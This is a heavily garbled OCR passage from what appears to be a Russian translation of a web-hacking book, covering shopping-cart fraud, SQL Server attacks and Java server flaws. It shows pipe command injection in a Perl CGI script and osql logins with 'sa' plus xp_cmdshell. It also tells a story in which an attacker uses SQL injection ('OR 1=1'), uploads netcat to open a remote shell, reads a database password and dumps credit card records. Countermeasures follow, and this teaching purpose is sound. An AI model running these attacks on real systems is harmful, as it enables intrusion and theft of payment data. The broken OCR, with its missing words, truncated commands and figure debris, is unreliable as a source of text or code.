хакер мог выполнять команды на узле www.acrae fashions.com, а также обладал при
вилегиями суперпользователя или администратора. После анализа средств защиты и
процедур блокировки, предоставляемых операционной системой, группа экспертов
пришла к выводу, что изъян, скорее всего, можно найти в коде Web приложения.
И действительно, проблема заключалась в недостаточной проверке входных данных
в исходном коде подсистемы выбора товаров (торговой тележки).
Управление торговой тележкой
с использованием сценария Perl
С помощью этого сценария отслеживаются также все клиентские сеан
сы работы с Web приложением. Подсистема выбора товаров получает информацию из
базы данных products.mdb и взаимодействует с подсистемой оплаты покупок, обраба
тывающей платежи, данные о которых хранятся в файле
На рис. 10.16 показана страница, сгенерированная сценарием mywebcart.cgi. Обра
тите внимание на указанный в окне броузера адрес URL. Сейчас самое время вспом
нить о плохо реализованных торговых тележках, речь о которых шла в главе 3.
Вот этот адрес:
им•
•
totally Cotton
totally Cotton
I••
•
...............
to
•
Cotton Plain
Рис. 16. Страница, сгенерированная сценарием mywebcart.cgi
240
Часть III. Как они это делают
Наибольший интерес представляют передаваемые параметры, а также их значения.
Обратите внимание, что в параметре
содержится значение shirts3.html. В
сценарии
изъян имеет следующая строка:
$file =
.
$file) die "Cannot open
Судьба сценария
предопределена. Параметр nextpage передается в функ
цию
без какой бы то ни было проверки. Как упоминалось в главе 3, в конец значе
ния, передаваемого в параметре nextpage, взломщик может вставить символ конвейера | и
таким образом выполнить с помощью функции
произвольную команду.
При использовании следующего запроса на узле
была бы
выполнена команда dir
Результат выполнения этого запроса показан на рис.
acme fashions.com
•
Volume in drive С
Volume Serial Number a
Dire
06/12/2001
01:47t
and Settings
12:54p
09:57p ll:43p 08:05p
Perl 01/19/2001 03:44p
Program Files
03:44p
0
0
8
free
10.17. Выполнение произвольных команд с использованием сценария
В рассматриваемом случае можно предположить, что взломщик с использованием
команды
/s получил полный перечень каталогов. В полученных результатах
он заметил файл
содержащийся в каталоге C:\ACMEDATA. Он скопировал
этот файл в каталог
и загрузил его на свой компьютер,
вавшись запросом http://www.acme fashions.com/purchases.mdb. На рис. 10.18 и 10.19
показано, как файл был скопирован, а затем загружен.
Глава 10. Кражи в электронных магазинах
241
Рис. 10.18. Копирование
в каталог
Таким образом, в сценарии
группой экспертов был выявлен серьез
ный изъян. В настоящее время аналогичные изъяны можно найти даже во многих
коммерческих версиях торговых тележек.
Подсистемы выбора товаров, допускающие удаленное выполнение
команд
Во многих коммерческих подсистемах выбора товаров (торговых тележках) выпол
няется недостаточная проверка входных параметров, передаваемых в строке
или скрытых полях. Из за этого в строку запроса можно вставлять метасимволы и
удаленно выполнять команды на Web сервере. Ниже представлены названия неко
торых статей, взятых с различных Web узлов, тематика которых связана с изъяна
ми подсистем выбора товаров.
• 6 сентября 2001года появилась статья
Cart Commerce System Lets Remote
Users Execute Arbitrary Shell Commands о том, что система электронной коммер
ции ShopPlus позволяет удаленно выполнять произвольные команды оболочки.
• 8 сентября
года опубликована статья Hassan Consulting Shopping Cart Allows
Remote Users to Execute Shell Commands on the Server о возможности удаленного
выполнения команд оболочки на сервере, на котором используется торговая те
лежка компании Hassan Consulting.
242
Часть III. Как они это делают
• 19 сентября
года в статье
eshop Commerce System Lets
Remote Users Execute Arbitrary Commands on the system and Gain Shell
со
общалось об изъяне системы электронной коммерции Webdiscount.net, позво
ляющем выполнять в системе произвольные команды и получать доступ к
командной оболочке.
• 20 октября
года опубликована статья Mountain Network Systems Cart Lets
Remote Users Execute Arbitrary Commands on the Web Server о возможности удален
ного выполнения произвольных команд на Web сервере, на котором установле
на подсистема
от компании Mountain Network Systems.
Все эти торговые тележки оказывались абсолютно не защищенными от ситуаций,
когда в один из параметров URL вставлялся символ конвейера
Для реализации атаки можно воспользоваться следующими URL:
http:
|
При использовании таких URL значение передаваемого параметра без всякой про
верки передается функции
языка Perl.
acme fashions.com
Casual
There are
In
1ffle(s)copied.
10.19. Загрузка файла
Глава 10. Кражи в электронных магазинах
243
Заключительные замечания
Из за трех критических ошибок компания ACME Fashions, Inc. за короткий пери
од времени потеряла много денежных средств. Все эти ошибки были обусловлены не
достаточной проверкой входных данных и чрезмерным доверием к информации, по
лучаемой от Web броузера. Рассмотрим их еще раз.
Первый изъян был связан с некорректным использованием скрытых полей. Такая
важная информация, как идентификатор товара и его цена, передавалась через скры
тые поля HTML форм. Следует помнить о том, что как только Web сервер передал
Web броузеру ответ на его запрос, он полностью теряет контроль над этими данными.
Протокол HTTP не поддерживает состояния (stateless).
означает, что сервер не
может самостоятельно определить, какие данные были переданы броузером --- кор
ректные или нет. Значения скрытых полей можно модифицировать на клиентском
компьютере, а затем передать обратно на Web сервер. Если на сервере не выполняет
ся проверка корректности передаваемых в скрытых полях данных, то на клиентском
компьютере данные можно изменить и таким
полностью обойти процедуру
проверки. Для защиты системы от подобных взломов разработчики Web узлов должны
избегать передачи данных через скрытые поля. Эта информация должна храниться в
серверной базе данных, а при необходимости извлекаться из нее.
Вторая очевидная ошибка заключается в использовании для проверки входных
данных клиентских сценариев. Зачастую для снижения нагрузки на сервер разработ
чики пытаются использовать языки JavaScript или VBScript в клиентской части при
ложения. Однако клиентские сценарии также не обеспечивают необходимого уровня
защиты. Они позволяют повысить лишь привлекательность Web страниц.
может изменить клиентские сценарии и легко обойти процедуры проверки входных
данных. Как и в случае с компанией Acme, можно ввести отрицательное количество
товара, обойдя все ограничения, налагаемые встроенным сценарием JavaScript. В не
которых системах электронной коммерции часть арифметических операций, напри
мер подсчет общего количества товара и стоимости, выполняются в их клиентской
части. С точки зрения покупателя, такая возможность очень удобна, поскольку по
зволяет быстро увидеть обновленные значения. Однако на самом
такого подхо
да следует избегать. Приложения должны быть спроектированы таким образом,
чтобы вся проверка корректности данных и все вычисления выполнялись на серве
ре. Только в этом случае взломщик не сможет манипулировать данными. Можно
сформулировать следующее золотое правило: "Нельзя доверять данным, передавае
мым из клиентского броузера".
Последний изъян был связан с недостаточной проверкой входных данных в сцена
рии
Всякий раз, когда данные из полей HTML формы передаются на
вход таким функциям, как
необходимо удостовериться в отсутствии каких
либо комбинаций символов или метасимволов. Нужно выполнять проверку как длины
полученных данных (для предотвращения переполнения буфера), так и наличия мета
символов. К сожалению, компания Acme не позаботилась о том, чтобы отфильтровать
такие метасимволы, как &, $, | и <. Более исчерпывающий перечень процедур про
верки входных данных содержится в главе 1.
К дополнительным проблемам обеспечения безопасности, характерным для сис
тем электронной коммерции, можно отнести следующие: возможность поиска на
сервере временных файлов; использование несовершенных механизмов шифрова
ния; незащищенность каталогов файловой системы; возможность повышения при
вилегий, получения информации о клиентах, изменения заказов и генерации усло
вия DoS (Denial of Service --- отказ в обслуживании). Все перечисленные изъяны
могут использоваться для реализации атак и присутствуют во многих приложениях
электронной коммерции.
244
Часть III. Как они это делают
Резюме
Приложения электронной коммерции привлекают внимание хакеров, поскольку с
их использованием можно "манипулировать" финансовыми средствами по своему ус
мотрению. Каждый менеджер по информационным технологиям, системный админи
стратор и разработчик должны уделять большое внимание защите важной корпора
тивной и другой информации от злонамеренных хакеров. Единственный изъян при
ложения может оказаться катастрофическим и способен привести к большим потерям.
Однако в этом случае теряются не только деньги, но и с трудом заслуженная репута
ция. Неважно, кто совершил ошибку --- группа разработчиков приложения или ком
пания разработчик какого либо коммерческого компонента. В любом случае постра
дает компания, в которой используется это приложение. Защитите свои Web
приложения, присвойте задаче обеспечения их безопасности самый высокий приори
тет до того момента, как будет написана первая строка кода.
Глава 10. Кражи в электронных магазинах
245
•
ГЛАВА11
к базам данным
Истинное начало нашего конца.
Вильям Шекспир
"Сон в летнюю ночь
действие V, сцена 1
Введение
Базы данных являются неотъемлемой частью современного бизнеса. Независимо
от того, хранятся ли данные в отдельном файле или для поддержки их целостности
используется современная объектно ориентированная база данных, необходимость
хранения информации и обеспечение быстрого доступа к ней всегда были решающи
ми факторами в любой сфере деятельности или приложении. И Web здесь не является
исключением.
Современные Web приложения тесно связаны с базами данных. Они используются
для хранения самой разной
начиная с пользовательских имен/паролей и
заканчивая почтовыми адресами и данными о кредитных карточках. При глубоком
анализе вопросов обеспечения безопасности в Web необходимо учитывать уровень ба
зы данных и, что еще более важно, способы, с помощью которых взломщики пытают
ся обойти ограничения приложений и получить доступ к важным данным.
В этой главе обсуждается взаимодействие между Web сервером и базой данных. Вы
узнаете об изъянах, существующих в архитектуре приложений, которые позволяют
взломщикам извлекать конфиденциальную информацию или, что еще хуже, удаленно
выполнять команды.
Прямые атаки на базы данных SQL
Хотя это и не является главной темой данной главы, следует отметить, что к
серверам Microsoft SQL Server и Oracle по умолчанию можно обращаться по се
ти. Другими словами, если брандмауэр сконфигурирован неправильно, то
взломщики смогут установить соединение с базой данных даже без использова
ния Web приложения.
Хотя такая возможность редко предоставляется за пределами локальной сети, она
создает идеальные условия для
базы данных. Для удаленного взлома базы
данных с использованием этого подхода нужно выполнить несколько простых дей
ствий. Найдите систему с любым открытым портом, таким, как TCP и UDP 1434
(Microsoft SQL Server) или TCP 1521 (Oracle). Это можно осуществить с помощью
любой из многочисленных утилит сканирования портов, в том числе и
от
компании Foundstone (http://www.foundstone.com). Кроме того, для поиска SQL
серверов в определенном диапазоне IP адресов можно воспользоваться таким
средством, как
от компании Chip Andrews
Как видно из рис.
с помощью утилиты SQLPing2 было обнаружено два SQL
сервера, установленных на узлах с адресами
и
Как только стало известно местоположение серверов в сети, можно попробовать по
лучить к ним доступ. Для этого существует множество способов, однако проще всего
воспользоваться утилитой osql.exe, входящей в комплект поставки SQL Server 2000 и
Desktop Engine (MSDE). Для ее запуска используется следующий синтаксис:
С:\>
S 192.168.0.8 0 sa P
Login failed for user
С помощью параметров командной строки S (сервер), (имя пользователя) и Р
(пароль) можно попробовать обратиться к серверу базы данных. Как видно из при
веденного выше фрагмента, попытка использования имени без пароля (такой
пароль применяется чаще всего!) ни к чему не привела. Однако при вводе кор
ректной комбинации имени пользователя и пароля на экране появится строка
приглашения 1>, позволяющая ввести любую допустимую команду.
Глава Доступ к базам данных
247
.
!
00
no
00:00
00 00:05
00 00:10
00
00 00:21
00
**
fty tieip
j:
:
ng ho
nn ng
nn
nn ng
°
:.
ng''
92
92
92
92
92
92
•
.
.
.
..
Port
полученные при сканировании портов с использованием
утилиты
S 192.168.0.8 sa P password
l>s elect
row affected)
1>
Теперь в качестве
пользователя базы данных можно при
менить некоторые приемы, чтобы больше узнать о базе данных и структуре ее таб
лиц. При исследовании SQL сервера компании Microsoft первый шаг заключается
в использовании хранимой процедуры sp_helpdb (конечно, если сетевой админист
ратор не удалил ее в целях защиты). Эта хранимая процедура предоставит перечень
существующих баз данных, их имена, размер, владельцев и идентификаторы (dbid).
S 192.168.0.8 U sa P password "use master; exec sp
После этого с помощью хранимой процедуры sp help можно выполнить инвен
таризацию всех объектов определенной базы данных. Она позволяет получить
подробную информацию обо всех объектах базы данных, в том числе о каждом
представлении, пользовательской и системной таблице, функции и хранимой
процедуре.
C:\>osql S 192.168.0.8 U sa P password Q "use
exec
С помощью функции
можно идентифицировать все таблицы
конкретной базы данных.
S 192.168.0.8 sa P
Q "use master; select * from
248
Часть Как они это делают
Можно также воспользоваться наиболее мощной хранимой процедурой и выпол
нить на удаленной системе любую команду. Например, при использовании сле
дующей команды в файл
будет помещен перечень каталогов:
С:\>
S 192.168.0.8 sa P blah Q "exec
Кроме всех перечисленных возможностей, для получения информации можно вос
пользоваться любым оператором и функцией SQL. Возможно, удастся даже овла
деть самим сервером баз данных. Более подробная информация по этому вопросу
содержится в главе 2.
Может показаться, что описанные прямые вторжения на SQL сервер являются
лишь упрощенной иллюстрацией. Возможно, отчасти это именно так. Однако при
веденные примеры помогут лучше понять то, что будет рассматриваться чуть ни
же, --- воздействие на SQL сервер через Web приложение.
Взлом Web узла компании по продаже
подержанных автомобилей
Глубокой ночью неудовлетворенность Джека по поводу неудававшейся реализации
процедуры переполнения буфера, которую ему не терпелось разработать, стала на
столько высока, что даже из за мелких недоразумений у него постоянно возникали
ссоры с соседом по комнате. В конце концов его товарищ посоветовал немного от
дохнуть, заняться чем нибудь другим, а ответ не заставит себя долго ждать. Поэтому
Джек решил зайти на Web узел Google и поискать автомобиль, который ему всегда
хотелось иметь --- BMW 740IL черного цвета. На первых трех узлах таких автомобилей
не было. По мере продолжения поиска раздражение Джека быстро нарастало, пока он
случайно не наткнулся на Web узел местной компании по продаже автомобилей. В ее
обширном списке товаров он нашел множество подходящих автомобилей, один из ко
торых, BMW 470IL 1999 года выпуска в отличном состоянии стоил всего $35 000.
Джек очень обрадовался, пока не наткнулся на цену, значительно превышавшую ту
сумму, которую он мог заплатить. И он решил сорвать свою злость на ком нибудь
другом, а не на соседе по комнате.
Проверка входных данных
Эта процедура позволяет предотвратить использование непроверенных пользова
тельских данных на Web сервере и в базе данных, а также не допустить извлечения
конфиденциальной информации. При просмотре результатов поиска Джек обнаружил
интересную деталь: на Web узел компании по продаже автомобилей параметры запро
са передавались в адресе (рис.
Джек увидел, что единственным параметром, передаваемым файлу ASP, является
поле ID. Он предположил, что это поле представляет собой уникальный идентифика
тор каждой записи в таблице или базе данных склада, поэтому попробовал несколько
аналогичных команд.
Один из полученных результатов показан на рис.
Глава Доступ к базам данных
249
Automobile Inventory
The following
details the current inventory of used and trucks on our lot.
11.2. Записи базы данных, переданные в ответ на запрос
g"
Inventory
the
[Model
The following information details the current inventory of used cars and trucks on our lot.
(poor
3000
Puc. 11.3. Изменение параметра ID для извлечения из базы данных но
вых записей
Убедившись, что записи передаются из некоторой определенной таблицы базы
данных, Джек решил попробовать извлечь из этой таблицы все записи (немного схит
рив и добавив в URL строку ;OR
На
показаны результаты выполнения этого запроса.
250
Часть III. Как они это делают
'
Automobile Inventory
the following
details the current
of cars and trucks on our lot.
toi
Иj
ГО
i
4
i
ГО|
5
!
Make
BMW j
Make
Make
i
Volvo
Vohro
!
Make
i
Vohro
|
Model ;
Civic
Model
|
{
Model
!
Color
Color j
fed
i
Color
1
i
White
Color |
1999
1987
Year ,
.
Year •••
2002
2001 |
Condition
Condition
poor
Condition
good
Condition
new
excellent
1
35000 i
Price j
I
17000
j
27125
Price
35000 !
Grey
Condition
11.4. Используя универсальное тождество SQL OR 1=1, можно по
лучить все записи базы данных
Сработало! Джек получил перечень всех выставленных на продажу автомоби
лей. Он смог это сделать, воспользовавшись тем, что выражение 1=1 всегда явля
ется истиной, и добавив его в оператор SQL. Два завершающих дефиса являются
оператором комментариев SQL. Поэтому все, что содержится после этих симво
лов, игнорируется. Благодаря использованию такого приема удаляется вся после
дующая часть запроса.
Таким образом, Джек воспользовался следующим кодом ASP:
* FROM inventory WHERE
&
SetRS=
А вот к чему будет преобразован этот фрагмент кода после передачи в запросе
строки ; OR 1=1:
* FROM inventory WHERE inventoryID=ID OR 1=1
В результате были получены все записи таблицы inventory, а не только запись с
идентификатором 1 (рис. 11.5). Хотя Джеку понравилось то, что он сделал, ему было
известно, что дальше в этом направлении двигаться некуда. Поэтому он попытался
выполнить лучшую из атак, которая основывалась на использовании хранимой проце
дуры хр cmdshell. Эта процедура позволяет выполнить любую команду из командной
строки, а потому такое действие может быть
любым зарегистрировавшим
ся пользователем базы данных (обычно администратор базы данных SQL использует
имя Поэтому он сразу же попытался разместить на удаленной системе утилиту
Глава Доступ к базам данных
251
netcat (nc.exe). (Более подробная информация об этой утилите содержится в главе 15.)
Позже утилита netcat позволит Джеку сделать все, что ему захочется.
Веет
3i
,
Automobile Inventory
The
information details the current inventory of cars and trucks on our lot.
Вынужденное выполнение команд, переданных в строке
Прежде всего он попробовал загрузить утилиту пс.ехе с использованием следую
щего URL:
Снова получилось! Джек подумал о том, что же это дает на самом деле? Хорошо,
Web сервер ответил нормально, как и должно было быть. После этого Джек перешел
к следующему шагу, запустив утилиту пс.ехе на выполнение и открыв порт, к которо
му можно будет подключиться.
n L р2000 е
Если все пройдет успешно, то утилиту netcat можно будет использовать на компь
ютере Джека, чтобы подключиться к серверу базы данных и получить доступ к уда
ленной командной строке.
192.168.0.9 2000
Microsoft Windows 2000 [Version 5.00.2195]
(С) Copyright 1985 2000 Microsoft Corp.
ipconfig
Windows 2000 IP Configuration
Ethernet Adapter Local Area Connection:
Connection specific DNS Suffix . : oc.cox.net
IP Address
: 192.168.0.9
Subnet Mask. .
: 255.255.255.0
Default Gateway
192.168.0.1
Трюк с утилитой netcat также оказался успешным. Теперь в качестве администра
тора системы Windows Джек мог делать все, что угодно. А ему требовалось лишь по
лучить доступ к базе данных и завладеть настоящим сокровищем --- номерами кре
дитных карточек. Поэтому с использованием оболочки netcat Джек попытался найти
252
Часть III. Как они это делают
утилиту
--- наиболее удобное средство генерации SQL запросов из командной стро
ки. Однако ничего найти не удалось. Возможно, утилиту osql удалили после установки
SQL сервера. Тогда Джек решил самостоятельно загрузить эту утилиту на сервер базы
данных и извлечь номера всех кредитных карточек, которые ему удастся найти.
Для достижения цели Джек сначала загрузил на сервер утилиту osql.exe, воспользо
вавшись тем же приемом, что и при загрузке
Теперь, имея в своем распоряже
нии программу
нужно было найти ключ к разгадке --- пароль к имени пользова
теля sa. Джеку было известно, что на большинстве Web серверов IIS пароли хранятся в
файле
поэтому он попытался найти этот файл в каталоге
однако его там не оказалось. Затем он вспомнил, что пароль должен содержаться в фай
ле
поскольку в противном случае из него нельзя было бы обращаться к ба
зе данных. Для поиска этого файла Джек воспользовался следующей командой:
С:\> dir
Is
dir
/s
Volume in drive С has no label.
Volume Serial Number is C456 EAF2
Directory of
04/28/2002 06:29p
671
1 File(s)
671 bytes
Итак, этот файл содержался в рабочем каталоге
основного Web
сервера. Теперь для поиска пароля учетной записи sa в файле
необходи
мо было найти ключевое слово ConnectionString.
findstr /i "connectionstring" dsn=localhost;
pwd=password;
ASP=ASP Script; initial
С этого момента для инвентаризации базы данных можно спокойно использовать
утилиту
ехе.
osql U sa Р password "exec
osql 0 sa Р password Q "exec sp_tables"
C:\> osql U sa P password Q "select * information
В конце концов Джеку удалось обнаружить нужную таблицу Account s. Для получе
ния главного приза достаточно было еще раз воспользоваться командой osql.
osql d web 0 sa P password Q "select
lastname, creditcard,
expiration from accounts"
Firstname lastname
creditcard
expiration
Stuart
McClure
Jim
Smith
Bob
Grouch
(3 rows affected)
4202401082819495
1234657622158325
4252134873587395
2002 11 01
2003 03 01
2004 05 25
00.00.00.000
00.00.00.000
00.00.00.000
Теперь Джек не сомневался, что на сегодня развлечений вполне достаточно.
Контрмеры
Безопасность баз данных является одной из наиболее неразвитых областей инфор
мационных технологий. В дополнение к полной и испытанной временем политике
защиты для устранения практически любого изъяна можно сформулировать несколько
надежных контрмер.
Глава Доступ к базам данных
253
1. Идите в ногу со временем, устанавливайте модули обновления. Как Microsoft, так
и Oracle регулярно выпускают модули обновления. Убедитесь, что эти модули
загружены и установлены сразу же после их появления. Перед установкой мо
дулей всегда проверяйте их на тестовой системе.
2. Применяйте на брандмауэре строгие правила фильтрации. Эта контрмера доста
точно очевидна. Однако периодически проверяйте правила фильтрации и бло
кируйте доступ к любым портам базы данных, таким, как TCP и UDP 1434
(MS SQL) и TCP 1521 1530 (Oracle).
3. Проверяйте входные данные. Как уже много раз упоминалось в этой книге, не
обходимо выполнять проверку входных данных, поступающих от пользователя.
Должен быть проверен тип этих данных (числовой, строковый и т.д.), а также
удалены все нежелательные символы, например метасимволы.
4. Удаляйте хранимые процедуры. Обязательно удалите все хранимые процедуры
из всех баз данных, в том числе из главной. Эти внешне безобидные сценарии
могут привести к взлому даже самой защищенной базы данных.
5. Использование хранимых процедур. Когда возможно, переводите часто исполь
зуемые фрагменты SQL в хранимые процедуры. Это уменьшит код SQL, кото
рый содержится в ASP, и сократит атаки на проверку ввода запросов.
6. Шифрование сеанса. Если сервер баз данных установлен отдельно от Web
сервера, то передаваемые между ними данные необходимо шифровать, напри
мер с помощью протокола
системы Windows 2000.
7. Минимальные привилегии. Обязательно предоставляйте минимальные приви
легии, которых достаточно для выполнения поставленной задачи. Для доступа
к файлам базы данных никогда не используйте имя
Резюме
В базах данных хранится чрезвычайно важная информация: имена покупателей,
номера социального страхования, номера кредитных карточек и т.д. Вся эта инфор
мация является сердцем современного бизнеса. Идея обеспечения безопасности сис
темы электронной коммерции с внутренней базой данных может показаться сомни
тельной. Однако, проявляя бдительность и придерживаясь приведенных выше реко
мендаций, можно хорошо защитить используемую базу данных.
254
Часть III. Как они это делают
ГЛАВА 12
Java; удаленное выполнение
команд
Изучение ошибок --- это не только
профилактика, но и сти
мул к постижению истины.
Уолтер
американский журналист
Введение
В начале своего развития Web технологии были очень простыми и позволяли ис
пользовать лишь наиболее примитивные возможности протокола HTTP и языка
HTML. Однако по мере роста потребностей в динамическом содержимом Web тради
ционные языки и протоколы Internet становились все менее эффективными. Начали
развиваться новые технологии, призванные логически расширить HTTP и HTML.
Первым событием в повышении динамичности содержимого Web стало появление
CGI (Common Gateway Interface --- интерфейс общего шлюза). Как уже упоминалось в
главе 1,
в основном разрабатываются на языках С, C++ и Perl.
Именно они и стали предвестником того, что должно было появиться чуть позже.
Эволюция Web приложений от статических и простых порталов до динамичных и
красочных хранилищ информации открыла новые горизонты как для конечного поль
зователя, так и для взломщика. В то время практически все программы были плохо
написаны и содержали изъяны даже в самых общих процедурах защиты, используе
мых в процессе получения и обработки пользовательских данных. В результате CGI
программы содержали многочисленные ошибки, которые можно было использовать
для получения
доступа к файловой системе и базам данных. Ино
гда можно было получить даже интерактивный доступ к удаленной командной обо
лочке. Причинами наличия таких уязвимых мест были сценарии, в которых не вы
полнялась проверка входных данных и которые имели несовершенные механизмы ау
тентификации и слабую интеграцию с другими частями системы. Эволюция
динамического содержимого представлена в табл.
были не очень эффективны и с трудом поддавались масштабируе
мости. Каждый раз при выполнении
или программы в системе созда
вался новый процесс. Для преодоления этих узких мест и создания новой, более за
щищенной архитектуры различные производители приступили к разработке новых
технологий. Независимо друг от друга такие компании, как Microsoft, Allaire и Sun,
предложили новые архитектуры, в которых учитывались современные требования к
производительности и безопасности. Однако на
фазе эволюции архитектуры в
ней появлялись новые недостатки.
Сервер IIS и технология ASP компании Microsoft оказались уязвимыми к атакам,
связанным с переполнением буфера, получением исходного кода, просмотром ката
логов и удаленным выполнением команд. Система ColdFusion от компании Allaire со
держала архитектурные изъяны, которые привели к возможности реализации атак
DoS и получения исходного кода. В других технологиях, разработанных, например,
компанией Netscape, использовались так называемые надстройки. Эти модули позво
ляли добавлять новые функции и интегрировать их с Web сервером. В этой архитек
туре на Web сервере можно было использовать различные языки сценариев, такие,
как ASP, PHP и CFM (более полная информация об этих технологиях содержится в
главе 1). С каждым из этих серверных ресурсов были связаны свои расширения, та
кие, как
.php и .cfm. Если клиенты Web обращались к этим ресурсам, то их за
просы обрабатывались дополнительными модулями. При этом для обмена информа
цией использовался протокол HTTP. Для облегчения программирования дополни
тельные модули поддерживали специальные дескрипторы, которые можно было
использовать в коде самой HTML страницы.
В то время как появлялись и развивались новые технологии, например ASP, Cold
Fusion, PHP и т.д., компания Sun Microsystems решила расширить технологию Java и
адаптировать ее для использования в Web. Так появились технологии, основанные на
языке Java.
256
Часть III. Как они это делают
Таблица Эволюция динамического содержимого
Этап
01
2
3
Архитектура
Простые HTTP серверы
HTTP +
HTTP + простые языки
сценариев
HTTP + предварительно
откомпилированные про
граммы
Причина появления
Необходимость односторонней передачи содержимого
Появление интерфейса CGI обусловлено необходимостью поддержки
динамического взаимодействия сервера и клиента. Каждая операция
ввода вывода порождает отдельный процесс
Синтаксический анализ и обработка сценариев для каждого клиент
ского запроса порождает новый процесс
Вместо порождения нового процесса на уровне операционной систе
мы сервер с многопоточной архитектурой способен обрабатывать ка
ждый клиентский запрос в отдельном потоке
Технологии, основанные на Java
По сравнению с традиционными серверными языками, Java предлагает два основ
ных преимущества, которые вывели эту
далеко вперед. Во первых, язык
Java с самого начала является объектно ориентированным и содержит богатый набор
универсальных классов и методов. Во вторых, Java является
Это означает, что одна и та же программа может использоваться на любой платформе.
Такая возможность существенно упрощает развертывание приложений практически
на любой платформе, поддерживающей Java.
За последние несколько лет появились различные технологии Java, в том числе
Java, страницы JSP (Java Server Pages) и компоненты
Ранее
компания Sun представила собственный сервер Java Web Server, поддерживающий
различные технологии Java. В настоящее время эта платформа стала весьма попу
лярной на рынке серверов приложений. Позже появились другие реализации этого
подхода, в частности сервер WebSphere от компании IBM, WebLogic от ВЕА и
от Allaire. По мере роста популярности этой платформы появлялось все больше сер
веров приложений Java. Наиболее известными из них являются
и Tomcat, ко
торые разработаны в рамках модели открытого кода и могут использоваться под
управлением серверов Apache, iPlanet, Resin,
и др.
Архитектура серверов приложений Java
Наименьшим строительным блоком серверов приложений Java является
Как показано на рис. 12.1, сервлеты размещаются на сервере и используют
отдельный пул потоков. Сервлеты предварительно скомпилированы и имеют доступ
ко всем внутренним ресурсам сервера. Каждый запрос к серверу приложений сервлет
принимает в своем собственном потоке. Такая архитектура значительно повышает
масштабируемость Web приложений.
Как показано на рис. 12.2, на уровне ядра используется множество
в том
числе для работы с файлами, серверными страницами Java (JSP) и серверными включе
ниями SSI (Server Side Includes). Они расширяются
обеспечиваю
возможность использования HTTP. Такие сервлеты, как
предоставляют
доступ к текстовым и HTML файлам. Каждый запрос GET к обычному текстовому файлу
обслуживается этим сервлетом в одном потоке, после чего файл передается клиенту. Лю
бой запрос к файлам
обрабатывается загрузчиком сервлетов JSP, который поддержива
ется компилятором Java и библиотеками времени выполнения. Серверные страницы Java
компилируются и конвертируются в повторно используемые классы.
Глава 12. Java: удаленное выполнение команд
257
Поток 2
Поток 3
Доступ к ресурсам
таким как
страницы Java,
компоненты
доступа к базам
данных, Java Beans
Пул потоков
сервлета
Рис.
Простая многопоточная структура сервлета
Уровень
ядра
Пользовательские
Заголовок
Text/HTML
Обработка
дескрипторов
JSP
Компилятор
и виртуальная
машина Java
Заголовок
Text/HTML
Пользовательские
классы и сервлеты
файлы JSP, файлы классов,
файлы
файловая система
Рис. 12.2. Архитектура сервера приложений Java
Атака на Java Web Server
Сизиф уже давно знал об этом, однако до сих пор никому ничего не рассказывал.
А обнаружил он новую возможность выполнения команд на сервере Java Web Server.
Изъян был связан не только с этим сервером, но и с сервером
компании
ВЕА, одним из наиболее популярных и широко распространенных серверов Java.
Он нашел этот изъян уже два дня назад, но пока хранил это в тайне, надеясь со
вершить выгодный обмен со своим
Буддой, который работал в опера
ционной системе AIX компании IBM. Изъян был связан с удаленным переполнением
буфера на
системы AIX. Реализовав атаку с использованием этого изъ
яна, на сервере можно было удаленно выполнять любые команды. Сизиф знал, что
258
Часть III. Как они это делают
Будда работает именно над такой утилитой. Несколько месяцев назад Сизиф был
обижен неизвестным взломщиком и теперь хотел вернуть долг. Его противник рабо
тал в системе AIX и хвастался тем, что никто не сможет взломать ее. Сизиф хотел по
квитаться, и с помощью утилиты Будды он мог бы это осуществить.
(Сизиф зашел в чат, чтобы посмотреть, тан ли Будда]
Будда, у тебя все готово?
Существует одна
<Будда>Я
добиться безукоризненного выполнения
мне парочку
<Будда>Ты лучше подумай о том, чтобы дать мне взамен что то хорошее!
на меня положиться!
Сизиф не сидел сложа руки. Следующие два часа были самыми длинными в его
жизни. С помощью Будды он сможет окончательно отомстить своему врагу с псевдо
нимом 311t3 --- гуру системы
которая до сих пор еще была взломана. Теперь
Сизифу оставалось только ждать.
Будда был интересным типом. Около десяти лет он работал администратором сис
темы AIX, а
этим еще лет пять программировал на ассемблере. Так что ему бы
ло прекрасно известно, насколько полезной может оказаться утилита взлома. Однако
он был мало знаком со средствами взлома в Web, а это именно то, с чем к нему при
шел Сизиф. Будде было необходимо средство, позволяющее проникнуть на Web узел
электронной коммерции и извлечь максимальное количество номеров кредитных кар
точек. Будда предпочитал скрывать свои соединения с Internet. Он оставался незаме
ченным благодаря использованию фальшивых идентификаторов и краденых номеров
кредитных карточек. Несколько недель назад Будда поделился с Сизифом своим
удивлением по поводу огромного количества серверов Java Web Server, которые запо
лонили Internet. Зная о проблеме Сизифа, Будда предложил совершить взаимовыгод
ный обмен. Сделка вот вот должна была состояться.
[Подключение к каналу
<Будда>Сизиф, ты тут?
Расскажи, какие у тебя новости.
<Будда>Да, есть.
III
спеши, давай сначала посмотрим на твой
<Сизиф>Хорошо, хорошо.
[Сизиф отправил файл, в котором описывался способ удаленного выполнения команд на сервере We
bLogic компании
<Будда>Получил, сейчас я
[Прошло несколько
<Будда>Прекрасно! Это действительно работает!
<Будда>Получи то, что я тебе
[Будда пересылает исходный и двоичный код для взлома службы finger системы AIX]
<Сизиф>Получил. Ты
парень, Будда. До встречи.
Сизиф и Будда получили то, что хотели.
может начаться настоящий хаос.
изъянов на серверах
приложений Java
Даже многопоточные
модели серверов приложений Java имеют изъяны
в подсистеме безопасности. Такие лидеры продаж, как Java Web Server от Sun,
WebSphere от IBM,
отВЕАи
от Allaire, а также множество других сер
Глава Java: удаленное выполнение команд
259
веров страдают от изъянов, обнаруживаемых в их архитектуре и реализации. Архитек
турные изъяны приводят к возможности реализации атак, направленных на получение
исходного кода, генерацию условия отказа в обслуживании (DoS), удаленное выпол
нение произвольных команд, а также получение физических путей. Все эти атаки яв
ляются достаточно стандартными и простыми в реализации. Это и будет продемонст
рировано ниже.
Пример: компания по продаже акций
Компания Acme Online Trading, Inc. занимается продажей акций через Internet на
ряду со многими другими компаниями, которые появились в дни расцвета электрон
ной коммерции. Однажды руководство этой компании решило использовать плат
форму Windows NT компании Microsoft, базу данных SQL и сервер приложений.
При просмотре Web узла компании Acme Online были обнаружены следующие
sp
sp
com/
html
http://www.acmetradeonline.com/servlets/tradeonline
http://www.acmetradeonline.com/feedback/feedback.jsp
На основе этих ссылок можно попробовать идентифицировать технологии, ис
пользуемые в Web приложении компании Acme. Прежде всего бросается в глаза то,
что практически все URL заканчиваются расширением
Это означает, что на
этом узле интенсивно используются серверные страницы Java. Еще одно ценное
